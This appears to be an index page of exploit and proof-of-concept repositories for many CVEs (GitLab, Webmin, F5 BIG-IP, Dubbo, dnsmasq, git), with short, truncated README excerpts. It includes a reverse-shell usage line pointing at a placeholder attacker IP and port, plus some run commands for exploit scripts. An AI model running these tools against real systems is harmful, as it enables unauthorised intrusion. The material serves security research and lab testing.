GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-扫描器 使用说明 root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort 来源 https://hackerone.com/reports/1154542 从以下位置引用的代码片段：https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免责声明： root@kitploit:...

CVE-2021-43798

CVE-2021-43798...

Moodle-CVE-2018-1042

Moodle CVE-2018-1042 利用CVE-2018-1042进行内部端口扫描的脚本。...

CVE-2017-0106

CVE-2017-0106...

CVE-2020-10759-poc

概要 利用 CVE-2020-10759 - fwupd PGP 签名验证绕过漏洞。详见 https://github.com/justinsteven/advisories/blob/master/2020fwupddanglings3bucketandCVE-2020-10759signatureverificationbypass.md 要求 注意：你需要从操作系统供应商处安装 python3-gpg。该模块不喜欢通过 pip 安装，因为它需要与你系统上安装的 libgpgme 保持匹配。 root@kitploit: apt install python3-flask...

CVE-2024-32002-POC

CVE-2024-32002-POC 这是 CVE-2024-32002 POC 的演示 运行： root@kitploit: git clone --recursive "[email protected]:masamuneee/CVE-2024-32002-POC.git" 后续将更新博客分析。...

cve-2020-1948-poc

cve-2020-1948-poc Apache Dubbo反序列化漏洞 install: root@kitploit: pip3 install dubbo-py root@kitploit: python3 cve-2020-1948.py Demo...

CVE-2019-15107

Webmin 应用程序版本 1.890 及以下版本存在未授权远程代码执行漏洞。CVE-2019-15107. Reference : https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study

此存储库没有 README。...

cve-2020-5902

cve-2020-5902 Exploit POC de cve-2020-5902 root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAM...

ShaikUsaf-frameworks_base_AOSP10_r33_CVE-2022-20138

此存储库没有 README。...

CVE-2016-5195

Este repositorio no tiene un README...

CVE-2022-21661

CVE-2022-21661 用于 Elementor 自定义皮肤的 CVE-2022-21661 漏洞利用。...

CVE-2024-36877

CVE-2024-36877 CVE-2024-36877 的漏洞利用 POC 详细的技术分析可在我的博客中找到 - https://jjensn.com/at-home-in-your-firmware https://github.com/user-attachments/assets/71f30cda-61e3-49ea-b856-959746349f2d...

ioc-scanner-CVE-2019-19781

CVE-2019-19781 入侵指标扫描器 该仓库包含一个用于检测与 CVE-2019-19781 相关的 Citrix ADC 设备被入侵情况的工具。 该工具及其资源编码了 FireEye Mandiant 调查期间收集的入侵指标。 欲了解更多信息，请阅读宣布该工具发布的博文。 总而言之，该工具将： 尽力识别现有的入侵行为。 它不会 ： 100% 识别入侵行为，或 告知设备是否易受利用。 通过社区反馈，该工具的检测能力可能会变得更加全面。 如果您有问题、想法或反馈，请提交 Issue、 提交 PR、 或联系作者。 从该仓库的 Releases 标签页 下载独立工具。 功能...

CVE-2024-29824

He realizado algunas optimizaciones a los scripts en horizon3ai en realidad, solo es agregar un mecanismo de verificación para asegurar la precisión Dirección del proyecto original: https://github.com/horizon3ai/CVE-2024-29824 añadir "-f / --file" y ThreadPool...

CVE-2021-43657

CVE-2021-43657 这是 CVE-2021-43657 的参考/POC 此漏洞是在我探索开源软件（负责员工任务管理系统）时发现的。...

dnspooq

dnspooq DNSpooq 概念验证 - dnsmasq 缓存投毒 CVE-2020-25686, CVE-2020-25684, CVE-2020-25685 仅供教育目的使用 要求 Docker compose Docker 利用 启动容器 root@kitploit: $ docker-compose up -d 运行 exploit.py root@kitploit: $ docker-compose exec attacker bash bash-5.0 python exploit.py 查询未缓存的名称... 生成伪造的数据包... 已投毒: b'google.com....

Stored-xss

Stored-xss CVE-2023-41575 - Stored XSS...

ctf-cve-2019-11043

任务管理应用（CVE-2019-11043 实验环境） 一个极简的PHP应用，带有故意易受攻击的Nginx/PHP-FPM配置，用于复现CVE-2019-11043。包含一个小型任务管理器、登录/管理员功能和数据库配置界面。 构建与运行（Docker） root@kitploit: build docker build -t cve-2019-11043-lab:app . run docker run --rm -p 8080:80 cve-2019-11043-lab:app open open http://localhost:8080/ 漏洞利用快速开始 使用...